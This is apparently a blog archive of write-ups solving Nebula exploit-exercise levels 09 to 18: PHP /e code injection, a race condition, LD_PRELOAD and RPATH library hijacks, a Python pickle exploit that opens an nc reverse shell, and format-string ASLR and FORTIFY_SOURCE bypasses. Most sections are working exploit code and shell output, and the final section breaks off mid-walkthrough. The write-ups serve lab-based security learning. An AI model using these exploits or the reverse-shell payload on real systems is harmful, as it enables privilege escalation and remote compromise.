Showing posts with label Exploit Exercise. Show all posts
Showing posts with label Exploit Exercise. Show all posts

Sunday, December 23, 2012

Exploit Exercise - PHP preg_replace

This level has a setuid binary which acts as a wrapper to execute a php script. The php script uses preg_replace with "e" modifier which makes it vulnerable to code injection. $PATH variable is defined as PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
There are many ways to solve this level. Here is a few:
level09@nebula:/home/flag09$ echo '[email flag@gmail.com]' > /tmp/mail 
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
flag AT gmail dot com

level09@nebula:/home/flag09$ echo '[email {${@system(sh)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
sh-4.2$ getflag
You have successfully executed getflag on a target account

level09@nebula:/home/flag09$ echo '[email {${@system($use_me)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail sh
sh-4.2$ getflag
You have successfully executed getflag on a target account

level09@nebula:/home/flag09$ echo '[email {${@system(DIRECTORY_SEPARATOR.bin.DIRECTORY_SEPARATOR.sh)}}]' > /tmp/mail
level09@nebula:/home/flag09$ ./flag09 /tmp/mail asdf
sh-4.2$ getflag
You have successfully executed getflag on a target account

Exploit Exercise - Race Condition

Level 10 of nebula deals with race condition vulnerability. We have a setuid binary and a token file. The objective of this level is to read the token file. The setuid binary uses access() call to check the file for read permission. If successful, it reads the given file and sends it to user supplied ip address. Here is some info from man page about access:

The check is done using the calling process’s real UID and GID, rather than the effective IDs
Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it.

The scenario is exactly same as described by man page. To solve this level, we will create a file such that access() call succeeds. Then before open() is called, we will remove this file and create a symlink to the token file. Also the race can be won in one shot if we can block the setuid binary between the calls to access() and open(), which gives us lot of time. To block the process, we will fill the pipe fully and connect the stdout of flag10 to that pipe so that it blocks during the call to printf(). Here is the solution in C:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define TARGET    "/home/flag10/flag10"
#define FLAG      "/home/flag10/token"
#define FILE      "/tmp/access"
#define HOST      "127.0.0.1"

int pipe_fd[2];
char buf[] = {"A"}; 

int main(int argc,char **argv)
{
    char *arg[] = {TARGET, FILE, HOST, 0};
    int size = 65536;   /* Size of pipe to fill */
    int count = 0;
    pipe(pipe_fd);
    /* Fill the pipe */
    while(count < size){
        write(pipe_fd[1], buf, 1);
        count++;
    }
    /* Create file, remove if already existing */
    unlink(FILE);
    open(FILE, O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
    if(fork() == (pid_t)0){
    /* Child Process */
        dup2(pipe_fd[1], 1);
        close(pipe_fd[0]);
        execvp(TARGET, arg);
    }
    else{
    /* Parent Process */
        count = 0;
        close(pipe_fd[1]);
        sleep(2); 
        unlink(FILE);   /* Unlink the file */
        symlink(FLAG, FILE);  /* Create symlink to token */
    /* Drain the pipe */
        while(count < size){
            read(pipe_fd[0], buf, 1);
            count++;
        }
        wait(NULL);
    } 
return 0;
}
Run netcat in another terminal to receive the contents of token file
level10@nebula:/tmp$ gcc -o level10 level10.c 
level10@nebula:/tmp$ ./level10

level10@nebula:~$ nc -vvv -l 18211
Connection from 127.0.0.1 port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

Saturday, December 22, 2012

Exploit Exercise - Level [11]

In this level we have a series of checks, which we have to satisfy inorder to execute commands using system() function. There are two solutions and both are interesting.
main:

if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
 err(1, "fread length");
    }
    process(buf, length);
For the first solution we use Content-Length of 1 and use LD_PRELOAD to initialize buffer with the command to be executed.
level11@nebula:/home/flag11$ export LD_PRELOAD=`python -c 'print "\x0a/bin/getflag"*4000'`
level11@nebula:/home/flag11$ 
level11@nebula:/home/flag11$ python -c 'print "Content-Length: 1\n"' | ./flag11 2>/dev/null

###############################################################################

You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
You have successfully executed getflag on a target account
level11@nebula:/home/flag11$
The second solution is to use Content-Length >= sizeof(buf). To execute desired command, we can build strings by reversing process() function.
void process(char *buffer, int length)
{
 unsigned int key;
 int i;
 key = length & 0xff;
 for(i = 0; i < length; i++) {
  buffer[i] ^= key;
  key -= buffer[i];
 }
 system(buffer);
}
Here is a small python code that builds string to execute desired command.
#!/usr/bin/env python
#flag11.py

command = "/bin/getflag\x00"
length = 1024
key = length & 0xff
enc = str()

for i in xrange(len(command)):
    for j in xrange(256):
        if ((key ^ j) & 0xff ) == ord(command[i]):
            enc = enc + chr(j)
            key = (key - ord(command[i])) & 0xffffffff # unsigned int
            break

junk = "A" * (length - len(command))
print "Content-Length: " + str(length) + "\n" + enc + junk
level11@nebula:/tmp$ export TEMP="/tmp"
level11@nebula:/tmp$ python flag11.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

Exploit Exercise - Level [13]

We have to get a token to solve this level. But there is a security check getuid()==1000. To bypass this check, we make a copy of flag13 binary, this removes setuid bit. Then we create a shared object and use LD_PRELOAD to hook getuid() call. Below is the solution
0x080484ef <+43>: call   0x80483c0 <getuid@plt>
0x080484f4 <+48>: cmp    eax,0x3e8
0x080484f9 <+53>: je     0x8048531 <main+109>

level13@nebula:/home/flag13$ cp flag13 ../level13/
level13@nebula:/home/flag13$ cd -
/home/level13
level13@nebula:~$ ls -ld *
-rwxr-x--- 1 level13 level13 7321 2012-02-01 01:08 flag13

level13@nebula:~$ ./flag13 
Security failure detected. UID 1014 started us, we expect 1000
The system administrators will be notified of this violation

level13@nebula:~$ cat getuid.c
#include<unistd.h>
uid_t getuid(void)
{
    return 1000;
}
level13@nebula:~$ gcc -fPIC -shared -o lib.so getuid.c 
level13@nebula:~$ ls
flag13  getuid.c  lib.so
level13@nebula:~$ export LD_PRELOAD="/home/level13/lib.so"
level13@nebula:~$ ./flag13 
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

Sunday, October 21, 2012

Exploit Exercise - RPATH Vulnerability

Level 15 of nebula has a binary whose RPATH entry is pointing to /var/tmp/flag15. When a shared object dependency is first searched in the directories given by RPATH in binary, LD_LIBRARY_PATH environment variable and finally the dynamic linker looks into /usr/lib. To solve this level we have to create a fake libc.so.6 library in the specified RPATH location and hook some function call. LD_LIBRARY_PATH cannot be used as the dynamic linker ignores it for setuid/setgid programs.
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x0068c000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x005bb000)
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x005b0000)
 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x00737000)
As we can see libc.so.6 is now taken from /var/tmp/flag15/ . Creating a fake libc.so.6 library needs some fine tuning, Ulrich Drepper's paper on "How to write Shared Libraries" served as excellent reading material for me. For debugging purpose I made a copy of flag15, this binary will not have setuid bit and thus enables us to use LD_DEBUG variable.
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15 
     19630: 
     19630: file=libc.so.6 [0];  needed by ./flag15 [0]
     19630: find library=libc.so.6 [0]; searching
     19630:  search path=/var/tmp/flag15/tls/i686/sse2/cmov:/var/tmp/flag15/tls/i686/sse2:/var/tmp/flag15/tls/i686/cmov:/var/tmp/flag15/tls/i686:/var/tmp/flag15/tls/sse2/cmov:/var/tmp/flag15/tls/sse2:/var/tmp/flag15/tls/cmov:/var/tmp/flag15/tls:/var/tmp/flag15/i686/sse2/cmov:/var/tmp/flag15/i686/sse2:/var/tmp/flag15/i686/cmov:/var/tmp/flag15/i686:/var/tmp/flag15/sse2/cmov:/var/tmp/flag15/sse2:/var/tmp/flag15/cmov:/var/tmp/flag15  (RPATH from file ./flag15)
     19630:   trying file=/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/libc.so.6
     19630:   trying file=/var/tmp/flag15/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/libc.so.6
     19630:  search cache=/etc/ld.so.cache
     19630:   trying file=/lib/i386-linux-gnu/libc.so.6
strace will also reveal information regarding this. So now lets start building our libc.so.6. Generally shared objects are compiled with -shared -fPIC position independent code. But we need little more than that, also we should know which function call to hook. First, I was planning to hook puts() but as it progressed __libc_start_main() seemed to be the better way. But it took me sometime to get there.
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
#####################################################################################
20105: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
20105: /var/tmp/flag15/libc.so.6: error: version lookup error: no version information available (required by ./flag15)
The first thing we have to deal with is versioning. Ulrich Drepper's ELF symbol versioning gives information regarding this.
level15@nebula:/var/tmp/flag15$ readelf -V flag15 

Version symbols section '.gnu.version' contains 5 entries:
 Addr: 0000000008048276  Offset: 0x000276  Link: 5 (.dynsym)
  000:   0 (*local*)       2 (GLIBC_2.0)     0 (*local*)       2 (GLIBC_2.0)  
  004:   1 (*global*)   

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x0000000008048280  Offset: 0x000280  Link: 6 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 2

#######################################################################################

Symbol table '.dynsym' contains 5 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 080484cc     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used

We have to create a version file and recompile our library. 
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -Wl,--version-script=version  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
#########################################################################################
20414: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
20414: checking for version `GLIBC_2.1.3' in file /var/tmp/flag15/libc.so.6 [0] required by file /var/tmp/flag15/libc.so.6 [0]
20414: /var/tmp/flag15/libc.so.6: error: version lookup error: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
We get another version lookup error. GLIBC_2.1.3 is no where found in flag15 binary. The libc.so.6 is built dynamically, so our version of libc.so.6 actually tries to refer to another libc.so.6 in /lib/i386-linux-gnu/. This fails because shared library is loaded only once even if referenced multiple times. So the idea is to build our version of libc.so.6 statically.
level15@nebula:/var/tmp/flag15$ readelf -V libc.so.6 

Version symbols section '.gnu.version' contains 10 entries:
 Addr: 000000000000028c  Offset: 0x00028c  Link: 3 (.dynsym)
  000:   0 (*local*)       3 (GLIBC_2.1.3)   0 (*local*)       0 (*local*)    
  004:   1 (*global*)      1 (*global*)      2 (GLIBC_2.0)     1 (*global*)   
  008:   1 (*global*)      1 (*global*)   

Version definition section '.gnu.version_d' contains 2 entries:
  Addr: 0x00000000000002a0  Offset: 0x0002a0  Link: 4 (.dynstr)
  000000: Rev: 1  Flags: BASE   Index: 1  Cnt: 1  Name: libc.so.6
  0x001c: Rev: 1  Flags: WEAK   Index: 2  Cnt: 1  Name: GLIBC_2.0

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x00000000000002d8  Offset: 0x0002d8  Link: 4 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.1.3  Flags: none  Version: 3

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
     20486: symbol=__libc_start_main;  lookup in file=./flag15 [0]
     20486: symbol=__libc_start_main;  lookup in file=/var/tmp/flag15/libc.so.6 [0]
     20486: ./flag15: error: relocation error: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time    reference (fatal)
Ok, So we will define our own version of __libc_start_main() and check how it works
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 return 0;
}
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{
global:__libc_start_main;
local: *;
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ./flag15 
Segmentation fault
level15@nebula:/var/tmp/flag15$ ulimit -c unlimited
level15@nebula:/var/tmp/flag15$ ./flag15 
Segmentation fault (core dumped)
level15@nebula:/var/tmp/flag15$ gdb -q ./flag15 core 
Reading symbols from /var/tmp/flag15/flag15...(no debugging symbols found)...done.
[New LWP 20557]

warning: Can't read pathname for load map: Input/output error.
Core was generated by `./flag15'.
Program terminated with signal 11, Segmentation fault.
#0  0x08048369 in _start ()
(gdb) x/i $eip
=> 0x8048369 <_start+33>: hlt

level15@nebula:/var/tmp/flag15$ objdump -d flag15
8048348 <_start>:
 8048348: 31 ed                 xor    %ebp,%ebp
 804834a: 5e                    pop    %esi
 804834b: 89 e1                 mov    %esp,%ecx
 804834d: 83 e4 f0              and    $0xfffffff0,%esp
 8048350: 50                    push   %eax
 8048351: 54                    push   %esp
 8048352: 52                    push   %edx
 8048353: 68 70 84 04 08        push   $0x8048470
 8048358: 68 00 84 04 08        push   $0x8048400
 804835d: 51                    push   %ecx
 804835e: 56                    push   %esi
 804835f: 68 30 83 04 08        push   $0x8048330
 8048364: e8 b7 ff ff ff        call   8048320 <__libc_start_main@plt>
 8048369: f4                    hlt    
 804836a: 90                    nop
 804836b: 90                    nop
 804836c: 90                    nop
 804836d: 90                    nop
 804836e: 90                    nop
 804836f: 90                    nop
We have returned from our __libc_start_main() at hit the hlt statement in _start. So lets write the final code to get the shell.
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 char *file = SHELL;
 char *argv[] = {SHELL,0};
 setresuid(geteuid(),geteuid(), geteuid());
 execve(file,argv,0);
}

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/home/flag15$ ./flag15 
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)

Thursday, October 4, 2012

Exploit Exercise - Python Pickles

Level [17] in nebula is pretty straight forward. The first look of it reveals the use of python's potentially vulnerable function pickle.loads(). The code simply unpickles any pickled data sent to it. We will use this vulnerability to perform command execution and gain a remote shell. Details about this can be found in paper Sour Pickles and blog.nelhage.com.
#!/usr/bin/env python
#payload.py
import pickle
import socket
import os
class payload(object):
    def __reduce__(self):
       comm = "rm /tmp/shell; mknod /tmp/shell p; nc 192.168.56.1 10008 0</tmp/shell | /bin/sh 1>/tmp/shell"
       return (os.system, (comm,))
payload = pickle.dumps( payload())
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect(("192.168.56.2", 10007))
print soc.recv(1024)
soc.send(payload)
[root@renorobert 17]# python payload.py && nc -v -l 10008
Accepted connection from 192.168.56.1:56089
Connection from 192.168.56.2 port 10008 [tcp/octopus] accepted
id
uid=982(flag17) gid=982(flag17) groups=982(flag17)

Saturday, September 29, 2012

Defeating ASLR Using Information Leak

In this post I will explain how ASLR can be defeated using information leak. I tried to solve Nebula [18] by taking advantage of format string vulnerability and information leak. The idea is to call the "login" function, then fgets() is used to copy the password into the stack. Then call the "notsupported" function and use the format string vulnerability to read the password from the stack. But the problem is file[64] buffer is small, during the call to "notsupported" function the password of previous stack frame is overwritten. So this is not a solution but just a POC how this approach can be used incase the data is not overwritten.

Even if the buffer is big enough, we still have ASLR which will make this attack difficult. ASLR will randomize the address of file buffer during each run. What we will do is call "notsupported" function twice. First time to read some address from the live running process using format string vulnerability, compute the new address of file buffer using the leaked information, call the "notsupported" again with the final payload to read the password.

To demostrate this, declare the buffer size to be file[512]. Nebula root account is used to compile a new binary with necessary permission changes. Also disable ASLR for debugging purpose, we will enable it by the end. GDB is used to find the address of file[512] buffer 0xbffff3fc.

level18@nebula:/tmp$ ls -ld /home/flag18/flag18_leak
-rwsr-sr-x 1 flag18 level18 17372 2012-01-27 07:33 /home/flag18/flag18_leak

//login function
#define PWFILE "/home/flag18/password"

void login(char *pw)
{
 FILE *fp;
 fp = fopen(PWFILE, "r");
 if(fp) {
  char file[512]; //buffer size modified for demonstration
  if(fgets(file, sizeof(file) - 1, fp) == NULL) {
   dprintf("Unable to read password file %s\n", PWFILE);
   return;
  }
                fclose(fp);
  if(strcmp(pw, file) != 0) return;  
 }
 dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");
 globals.loggedin = 1;
}
We pick up a address from the stack, here its the 8th DWORD. The difference between the address picked from this position and file[512] is found to be 0x240 bytes.
exploit.py
#!/usr/bin/env python
import os
import sys
from time import sleep
from string import find,rfind
from struct import pack

pipe_r, pipe_w = os.pipe()
param = ["/home/flag18/flag18_leak","-dformat","-vvv"]
pid = os.fork()
if pid == 0:
        # child process
        os.close(pipe_w)
        os.dup2(pipe_r, 0)
        os.execl(param[0],param[0],param[1],param[2])
# parent process
#file_addr = 0xbffff3fc
#rand_addr = 0xbffff63c
os.close(pipe_r)
diff = 0x240 # rand_addr - file_addr
payload = "login\nsite exec ZZAAAA.%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n"
os.write(pipe_w, payload)
sleep(3) #wait till the file is created for read
leak_data = open(param[1][2:],"r").read()
rand_addr = eval(leak_data[find(leak_data,'|0')+1:rfind(leak_data,'|')])
file_addr = rand_addr - diff  #randomized address of file[512] buffer
print("[*] Using address: {0}".format(hex(file_addr)))
final_payload = "login\nsite exec ZZ" + pack("<I",file_addr) + ".%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%s\n"
os.write(pipe_w, final_payload)
Without ASLR
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 
0
level18@nebula:/tmp$ python exploit.py 
[*] Using address: 0xbffff3fcL
level18@nebula:/tmp$ cat format | tail -1
ZZ����.0x217191.0x804c008.0x8048f3f.0xbffff61c.0x804c308.0xbffff641.0x8048f57|0xbffff63c|0x8048b86.0xbffff646.0x8048fca.0x9.0xbffff63c.(nil).0x11f74d.0xbffff804.0xbffff7f4.0x134be8.0x1.0xb7fffb18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a
With ASLR
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 
2
level18@nebula:/tmp$ python exploit.py 
[*] Using address: 0xbfc3b37cL
level18@nebula:/tmp$ cat format | tail -1
ZZ|�ÿ.0x432191.0x9ef3008.0x8048f3f.0xbfc3b59c.0x9ef3308.0xbfc3b5c1.0x8048f57|0xbfc3b5bc|0x8048b86.0xbfc3b5c6.0x8048fca.0x9.0xbfc3b5bc.(nil).0xcf774d.0xbfc3b784.0xbfc3b774.0x34fbe8.0x1.0xb7721b18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a
level18@nebula:/tmp$ python exploit.py 
[*] Using address: 0xbf93d0bcL
level18@nebula:/tmp$ cat format | tail -1
ZZ�Г�.0x1f6191.0x97f5008.0x8048f3f.0xbf93d2dc.0x97f5308.0xbf93d301.0x8048f57|0xbf93d2fc|0x8048b86.0xbf93d306.0x8048fca.0x9.0xbf93d2fc.(nil).0x32f74d.0xbf93d4c4.0xbf93d4b4.0x113be8.0x1.0xb77fab18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a
As you can see, we managed to read the password 44226113-d394-4f46-9406-91888128e27a from the stack using format string vulnerability bypassing ASLR.

Wednesday, September 26, 2012

Exploit Exercise - Improper File Handling

I noticed this vulnerability in Nebula [18] during a debugging session when trying to solve this level using format string vulnerability.
Vulnerability
        fp = fopen(PWFILE, "r");
 if(fp) {
  char file[64];

  if(fgets(file, sizeof(file) - 1, fp) == NULL) {
   dprintf("Unable to read password file %s\n", PWFILE);
   return;
  }
                fclose(fp); //no call to fclose is made in the disassembly of login
  if(strcmp(pw, file) != 0) return;  
 }
 dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

 globals.loggedin = 1; 
//disas login
   0x08048c7e <+46>: call   0x8048750 <fopen@plt>
   0x08048c83 <+51>: test   %eax,%eax
   0x08048c85 <+53>: mov    %eax,%ebx
   0x08048c87 <+55>: je     0x8048cb5 <login+101>
   0x08048c89 <+57>: lea    0x1c(%esp),%esi
   0x08048c8d <+61>: mov    %eax,0x8(%esp)
   0x08048c91 <+65>: movl   $0x3f,0x4(%esp)
   0x08048c99 <+73>: mov    %esi,(%esp)
   0x08048c9c <+76>: call   0x8048670 <fgets@plt>
   0x08048ca1 <+81>: test   %eax,%eax
   0x08048ca3 <+83>: je     0x8048d18 <login+200>
   0x08048ca5 <+85>: mov    %esi,0x4(%esp)
   0x08048ca9 <+89>: mov    %edi,(%esp)
   0x08048cac <+92>: call   0x8048640 <strcmp@plt>
   0x08048cb1 <+97>: test   %eax,%eax
   0x08048cb3 <+99>: jne    0x8048cf4 <login+164>
In the above code globals.loggedin can be set to 1 if fopen() function fails. During the debugging session it failed as flag18 drops privileges within the debugger and it doesn't have the permission to read the password file. After reading through the error cases for fopen, I found a couple of them interesting in the context of the challenge - EMFILE and EINTR. The login function simply returns without closing the file it opened. Lets see if we can take advantage of this
level18@nebula:/tmp$ ulimit -Sn
1024
level18@nebula:/tmp$ ulimit -Hn
4096
level18@nebula:/tmp$ ulimit -a | grep files
open files                      (-n) 1024
level18@nebula:/tmp$ ulimit -Sn 50
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
level18@nebula:/tmp$ cat test | tail
attempting to login
logged in successfully (without password file)
got [login test] as input
attempting to login
logged in successfully (without password file)
got [login test] as input
attempting to login
logged in successfully (without password file)
got [shell] as input
attempting to start shell
level18@nebula:/tmp$ cat /usr/include/asm-generic/errno-base.h | grep 24
#define EMFILE  24 /* Too many open files */
There is a per process limit for number of open file descriptors a process can have.ulimit can be used to change this number upto the hard limit. Here we reduce the number and force fopen to fail. Error 24 is nothing but "Too many open files". We need to close a few files inorder to lauch the shell. The application itself provides an option to close a file using "closelog" but I was not sure if this was enough. Lets try it out
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v
/home/flag18/flag18: -d: invalid option
We managed to launch the shell but the same arguments passed to flag18 binary is used for launching the shell too and bash complains about this, since its invalid options. After looking into the man page, we can find a few options to get things right.
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
test: line 1: Starting: command not found
test: line 2: got: command not found
As you can see, bash tries to execute commands from the 'test' file. So lets create a valid file and update the $PATH variable.
level18@nebula:/tmp$ cat Starting 
ulimit -Sn 1024
gcc -o shell shell.c
chmod 4770 shell
level18@nebula:/tmp$ cat shell.c 
int main(void)
{
 setresuid(geteuid(), geteuid(), geteuid());
 system("/bin/sh");
 return 0;
}
level18@nebula:/tmp$ export PATH=/tmp:$PATH
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null
level18@nebula:/tmp$ ./shell
sh-4.2$ id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)

Sunday, September 23, 2012

Exploit Exercise - Format String FORTIFY_SOURCE Bypass

Level [18] in Nebula has a handful of vulnerabilities. We will use a format string vulnerability in the function "notsupported" to solve this level. The binary has few protections that we have to bypass inorder to achieve our goal.
Vulnerability
#define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__)
void notsupported(char *what)
{
 char *buffer = NULL;
 asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
 dprintf(what);  //here is the format string vulnerability
 free(buffer);
}

Protections
level18@nebula:~$ ./checksec.sh --file /home/flag18/flag18 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /home/flag18/flag18

level18@nebula:~$ ./checksec.sh --fortify-file /home/flag18/flag18 
* FORTIFY_SOURCE support available (libc)    : Yes
* Binary compiled with FORTIFY_SOURCE support: Yes

level18@nebula:~$ cat /proc/sys/kernel/randomize_va_space 
2
Of all this, FORTIFY_SOURCE is the protection that we have to concentrate on. The idea is to use format string vulnerability to set globals.loggedin variable and access the shell. ASLR is disabled using nebula root account for debugging purpose. We can set in it on when we run the final exploit, though the presence or absence of ASLR is not going to affect the exploit. Libc randomization can be disabled using resource limit in case needed.

We will be following the paper A Eulogy for Format Strings to bypass FORTIFY_SOURCE protection using an interger overflow bug in vfprintf.c code.
level18@nebula:~$ ulimit -s unlimited
level18@nebula:~$ ldd /home/flag18/flag18 
 linux-gate.so.1 =>  (0x40020000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000)
 /lib/ld-linux.so.2 (0x40000000)
level18@nebula:~$ ldd /home/flag18/flag18 
 linux-gate.so.1 =>  (0x40020000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000)
 /lib/ld-linux.so.2 (0x40000000)

level18@nebula:~$ ldd --version
ldd (Ubuntu EGLIBC 2.13-20ubuntu5) 2.13

fprintf_chk.c
int ___fprintf_chk (FILE *fp, int flag, const char *format, ...)
{
  va_list ap;
  int done;
  _IO_acquire_lock_clear_flags2 (fp);
  if (flag > 0)
    fp->_flags2 |= _IO_FLAGS2_FORTIFY;
  va_start (ap, format);
  done = vfprintf (fp, format, ap);
  va_end (ap);
  if (flag > 0)
    fp->_flags2 &= ~_IO_FLAGS2_FORTIFY;
  _IO_release_lock (fp);
  return done;
}
ldbl_strong_alias (___fprintf_chk, __fprintf_chk)

fp->_flags2
So as per the paper, we have to toggle off the _IO_FLAGS2_FORTIFY bit in the FILE* structure. Unlike stdout, fp FILE * structure is setup in stack. We have to locate the address of fp->_flags2 and nargs to disable FORTIFY_SOURCE protection.
level18@nebula:/tmp$ gdb -q /home/flag18/flag18 
Reading symbols from /home/flag18/flag18...(no debugging symbols found)...done.
(gdb) break vfprintf
Function "vfprintf" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (vfprintf) pending.
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv

Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) c
Continuing.

Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) c
Continuing.
site exec %1$*269208516$x %1073741824$
##########################################################################
Since cdecl calling convention is used, the top of the stack will have the address of fp FILE structure. Lets check the disassembly when vfprintf is called before it crashes.
